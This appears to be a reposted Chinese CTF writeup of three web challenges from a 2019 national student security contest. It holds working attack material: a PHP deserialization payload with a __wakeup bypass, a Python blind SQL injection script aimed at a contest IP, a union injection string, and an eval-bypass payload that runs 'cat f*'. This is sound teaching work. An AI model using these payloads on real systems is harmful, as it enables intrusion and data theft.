大学生HTML5竞赛网站,2019全国大学生信息安全竞赛Web Writeup

转载

又画教育 于 2021-06-03 11:03:06 发布 166 收藏
文章标签： 大学生HTML5竞赛网站

这次web题真切得让我感受到了我得辣鸡 顿时被打了鸡血 最后只做出来一题，但是有两道题都是马上要出来了最后时间不够 ，这里总结一下

web1 JustSoso

打开之后是这样得

右键查看源码

提示需要传参数，这里存在LFI漏洞，常规操作伪协议读一下源码：

index.php:

```
error_reporting(0);

$file = $_GET["file"];

$payload = $_GET["payload"];

if(!isset($file)){

echo 'Missing parameter'.'
';

}

if(preg_match("/flag/",$file)){

die('hack attacked!!!');

}

@include($file);

if(isset($payload)){

$url = parse_url($_SERVER['REQUEST_URI']);

parse_str($url['query'],$query);

foreach($query as $value){
```

```
if (preg_match("/flag/",$value)) {
die('stop hacking!');
exit();
}
}
$payload = unserialize($payload);
}else{
echo "Missing parameters";
}
?>
```

hint.php:

```
class Handle{
private $handle;
public function __wakeup(){
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking upn";
}
public function __construct($handle) {
$this->handle = $handle;
}
public function __destruct(){
$this->handle->getFlag();
}
}
class Flag{
public $file;
public $token;
public $token_flag;
function __construct($file){
```

```
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1,10000));
}
public function getFlag(){
$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag){
if(isset($this->file)){
echo @highlight_file($this->file,true);
}
}
}
}
?>
```

首先会对我们传入的参数调用parse_url函数进行解析，然后对我们得每个参数进行正则匹配，匹配到flag就直接退出。这里就要用到parse_url得解析漏洞，可以查看一叶飘零师傅得文章：

我们只需要

就可以绕过正则匹配。

之后我们查看hint.php,看到

class Handle{}中引用了getFlag函数

```
public function __destruct(){
$this->handle->getFlag();
}
```

class Flag{}中定义了getFlag函数：

```
public function getFlag(){
$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag){
if(isset($this->file)){
echo @highlight_file($this->file,true);
}
}
```

}

所以最终我们的目的就是触发getFlag函数，且传入file参数为flag.php

显然这里考察的是反序列化，因此我们构造pop链。

1，构造一个Flag类型得变量，传入参数为flag.php => $b = new Flag(“flag.php”);

2, 构造一个Handle类型得变量，使内部$handle指向$b,这样__destruct时就行触发执行getFlag函数。=>

$a = new Handle($b);

要注意到这里class Handle{}中有__wakeup()函数：

public function __wakeup(){

foreach(get_object_vars($this) as $k => $v) {

$this->$k = null;

}

echo "Waking upn";

}

unserialize()时会先检查是否存在一个-wakeup方法。如果存在，会先调用__wakeup方法，预先准备对象需要的资源。这里 _wakeup函数会将我们传入的参数全部置空，因此需要绕过让其不执行wakeup方法。

这里使用得是wakeup(CVE-2016-7124),当成员属性数目大于实际数目时，可以绕过wakeup方法。

这里可以参考Mrsm1th师傅得文章：

我们只需要在反序列化之后，修改一下变量数量就行(O:6:”Handle”:后面得这个1改为2即可)：

O:6:"Handle":1:{s:12:"Handlehandle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";N;s:10:"token_flag";R:4;}}

前面 都准备好了，但是在最后还有一个判断：

Flag类：

function __construct($file){

$this->file = $file;

$this->token_flag = $this->token = md5(rand(1,10000));

}

public function getFlag(){

$this->token_flag = md5(rand(1,10000));

if($this->token === $this->token_flag){

if(isset($this->file)){

echo @highlight_file($this->file,true);

}

}

}

在flag类中首先会随机生成两个md5，一个时token，一个是token_flag。在我们最开始构造序列化字符串时就已经生成好了，类似这样：

O:6:"Handle":1:{s:14:"Handlehandle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";s:32:"b2330fc4531de135266de49078c270dd";s:10:"token_flag";s:32:"b2330

但是服务器在反序列化之后执行getFlag函数时会再随机生成一个token_flag,而且二者要相等才能拿到flag。这里由于生成位置不在一个机器，伪随机走不通，我一开始想的时爆破，毕竟数量也不多。而且传入的token是不变的，变得是服务器重新生成得token_flag，因此我的思路是不停得循环传入我们构造好的反序列化字串，总有一个刚好服务器生成得token_flag和我们传得token相等，我们就拿到了。然并卵。国赛得服务器太稳了，有一个安全机制，他检测到我有攻击行为，跑一会就给我封掉了。

后来找到一个正解，使用php得引用赋值来绕过。

原理：

a=1;

b=&a;

a=a+1;

那末最后b得值也会变为2，因为b是引用赋值。

这里我们同样得方法，我们在构造序列化字符串得时候加上这么一句：

$b = new Flag("flag.php");

$b->token=&$b->token_flag;

$a = new Handle($b);

那末token得值就始终和token_flag保持一致了。

最终我们得脚本：

exploit.php:

class Handle{

private $handle;

public function __wakeup(){

foreach(get_object_vars($this) as $k => $v) {

$this->$k = null;

}

echo "Waking upn";

}

public function __construct($handle) {

```
$this->handle = $handle;
}
public function __destruct(){
$this->handle->getFlag();
}
}
class Flag{
public $file;
public $token;
public $token_flag;
function __construct($file){
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1,10000));
}
public function getFlag(){
if(isset($this->file)){
echo @highlight_file($this->file,true);
}
}
}
$b = new Flag("flag.php");
$b->token=&$b->token_flag;
$a = new Handle($b);
echo(serialize($a));
?>
```

结果：

```
O:6:"Handle":1:{s:14:"Handlehandle";O:4:"Flag":3:
{s:4:"file";s:8:"flag.php";s:5:"token";s:32:"5d55e7c13b0f4d7cf9d5d55d3af329c8";s:10:"token_flag";R:4;}}
```

还有一点要注意：s:14:”Handlehandle” 为什么长度是12，前面的值却是14呢？这是因为当成员属性为private时，在序列化后，Handle字串前后会各有一个0x00，因此长度为14.类似的protect属性，则是在*前后各有一个0x00。可以自己在本地尝试一下。0x00得url编码为%00，因此我们传参时要进行编码，最终payload为：

```
?file=hint&payload=O:6:"Handle":1:{s:14:"%00Handle%00handle";O:4:"Flag":3:
{s:4:"file";s:8:"flag.php";s:5:"token";s:32:"5d55e7c13b0f4d7cf9d5d55d3af329c8";s:10:"token_flag";R:4;}}
```

这一题如果有经验得话不难，但是利用得点很多，需要有一定得积累

web2 全宇宙最简单的SQL

这一题比赛马上结束时候才找到怎么构造盲注payload，脚本只跑出数据库名称就到时间了，没来得及截图。但是逻辑非常简单。

本地写了一个界面，大概是这样：

当输入合法得查询时，会报登陆错误：

当输入得注入语句使sql处理时报错时，会报数据库操作失败 ：

这里我们就想到盲注。但是这个盲注跟以往得不同，这里要构造得条件是，当条件为真时sql报错，当条件为假时，sql不报错。一开始想到的是这样构造：

123' and 1=0 and updatexml(1,2)

123' and 1=1 and updatexml(1,2)

然并卵，发现不管1=0还是1=1，后面得错误是语法错误，一样都会被检查出来。

类似的还试了很多，语法错误是肯定行不通得，后来经大佬点播，才想到利用整数溢出来构造错误

(select exp(~(select * from(select user())x)));

效果如下：

根据这个就能构造出盲注了。我们得脚本：

```
#coding=utf-8

import requests

url = 'http://39.97.227.64:52105/'

result = ''

payload = "'123' and ascii(mid({sql},{list},1))={num} and (select exp(~(select * from(select user())x)));'"

for i in range(1,50):

for j in range(32,126):

hh = payload.format(sql = '(select database())',list=str(i),num=str(j))
```

```
#print (hh)

data = {'username':hh,'password':'123'}

#print(data)

try:

zz = requests.post(url,data=data)

print ("===========")

#print (zz.apparent_encoding)

zz.encoding='utf-8'

print(zz.text)

print ("===========")

if '数据库操作失败' in zz.content:

result +=chr(j)

print( result)

break

except:

continue
```

爆出mysql数据库名为ctf，接下来爆破表名时遇到了问题，or被过滤掉了，因此information也用不了，再然后时间就到了，现在环境关掉了没办法复现，结束后问了一下大佬，大佬说是无列名注入，最后能拿到password。然后还有一个mysql任意文件读取得漏洞，最后读到flag。

首先好像说是猜得表名user？等官方wp出来看看吧。然后就进行无列名注入，注入方法是：

union (select 1,2,c from (select 1,2 c union select * from flag)b) limit 1,1;

不得不说sqli-lib还是要好好刷一遍才行

可以参考p0desta师傅得文章：

之后mysql得任意文件读取漏洞可以参考：

web3 ：love_math

这一道题做了一天，长度一直超，菜得真实

题目是这个样子：

右键查看源码可以看到使用ajax将参数发送到calc.php拿到计算结果，我们访问cala.php：

直接把源码给我们了：

```
error_reporting(0);
```

```
//听说你很喜欢数学，不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', 't', 'r', 'n','"', '"', '`', '[', ']'];
foreach ($blacklist as $blackitem) {
if (preg_match('/'. $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_x7f-xff][a-zA-Z_0-9x7f-xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}
?>
```

首先对长度有要求，就是这里比较难绕，而后会正则匹配，不能出现[‘ ‘, ‘t’, ‘r’, ‘n’,’”, ‘”‘, ‘`’, ‘[‘, ‘]‘]这些符号

再正则匹配，除了whitelist数组中得数学函数之外得所有字母以及字母串都不能使用。

这里堵了很久，后来去看他给的那些数学函数中有一个函数：

```
$oct = "0031";
$dec = base_convert($oct,8,10);
echo "八进制的 $oct 等于十进制的 $dec。";
#八进制的 0031 等于十进制的 25。
?>
```

想到可以截十六进制数，这样我们就拿到了abcdef这几个字符。

```
echo "base_convert(11259375,10,16){0} => ";
echo base_convert(11259375,10,16){0};
```

注意这里用{0}取第一个字符得方式只有php7才能使用，低版本会报错，只允许使用[0]得方式

然后想到可以再亦或一下，可以产生更多得字符，脚本如下：

```
$ss=array('a','b','c','d','e','f','0','1','2','3','4','5','6','7','8','9','[','Q','P','S','U','R','W','T','V','Y','X','Z','\',']','^',']');
foreach ($ss as $w) {
foreach ($ss as $r){
echo $w;
echo(" and ");
echo $r;
echo(" <=> ");
echo ($w^$r);
echo(" <=> ");
echo(ord($w^$r));
echo ("
");
}
}
?>
```

可以产生很多新字符，再将新字符加入到数组中重新亦或又能得到更多得字符，最后甚至反引号`都能构造出来

‘0’^(‘1’^’a’)即可得到反引号

那么既然构造除了反引号，是不是就可以传入

`cat flag.php`

但是用这种办法，光是构造出两个反引号长度就超过80了。这时候看到还有一个10进制转16进制得函数dechex，长度短一些，构造反引号的话就是

(dechex(0){0})^(dechex(10){0}^dechex(1){0})

长度超得问题还是没有解决。

经大佬指点，想到可以利用36进制数拿字母

利用这个进制转换，我们一个函数就能拿到phpinfo：

base_convert(55490343972,10,36)

但是用它来构造payload，flag.php中得点我们可以使用通配符绕过：

cat f*得效果和cat flag.php效果是一样得

exec：base_convert(696468,10,36)

cat: base_convert(15941,10,36)

f: dechex(15){0}

所以最后exec(“cat f*”)就是base_convert(696468,10,36)(“base_convert(15941,10,36) dechex(15){0}*”)

这里引号以及空格得绕过再加上长度就超了，这条路也走到头了。

再想到?c=$_GET[1]&1=whoami这种办法，用传参得方式缩短变量长度，但在$_GET构造这一块，因为需要亦或构造出下划线以及[]，最后长度也是超过得。

再思考一下可以发现，因为我们有了base_convert(xxx,xx,xx)函数，所以我们可以调用php得任意函数，经过大佬点播最后发现可以使用hex2bin和bin2hex函数。

把十六进制值转换为 ASCII 字符：

echo hex2bin("48656c6c6f20576f726c6421");

?>

以上实例输出结果:

Hello World!

$str = bin2hex("Hello World!");

echo($str);

?>

以上实例输出结果:

48656c6c6f20576f726c6421

因此我们得字符串可以转换为十六进制字符串，转换之后含有字母无法绕过正则，因此再转换为十进制，之后调用dechex函数将十进制再转换为十六进制，再调用bin2hex即可将十六进制转换回我们的命令。但是尝试的时候这里碰到一个问题：

最后dechex传入的数值太大，溢出了。

试一下字符串不完全转成二进制，仅将cat *用hex2bin进行转换，这样我们就省下了两个引号得长度

exec : base_convert(588892,10,34)

hex2bin : base_convert(37907361743,10,36)

cat *得十六进制串：dechex(426836762666)

最后我们构造出：base_convert(588892,10,34)(base_convert(37907361743,10,36)(dechex(426836762666)))

然而不幸得是长度是82，还是超了两个字符。还需要再想办法精简一下

我们尝试在进制上精简，脚本：

```
echo "sb";
for ($i=10;$i<36;$i++)
{
echo $i;
echo ' ';
echo base_convert('hex2bin',36,$i);
echo ' ';
}
?>
```

在输出的结果中，找没有字母，只有数字得，这样才能绕过正则。

发现hex2bin可以使用base_convert(3761671484，20，36)得方式转换，这样就短了一位，同样得exec也可以

exec : base_convert(47138,20,36)。这样刚好短了两位。最终长度是80：

base_convert(47138,20,36)(base_convert(3761671484,13,36)(dechex(426836762666)))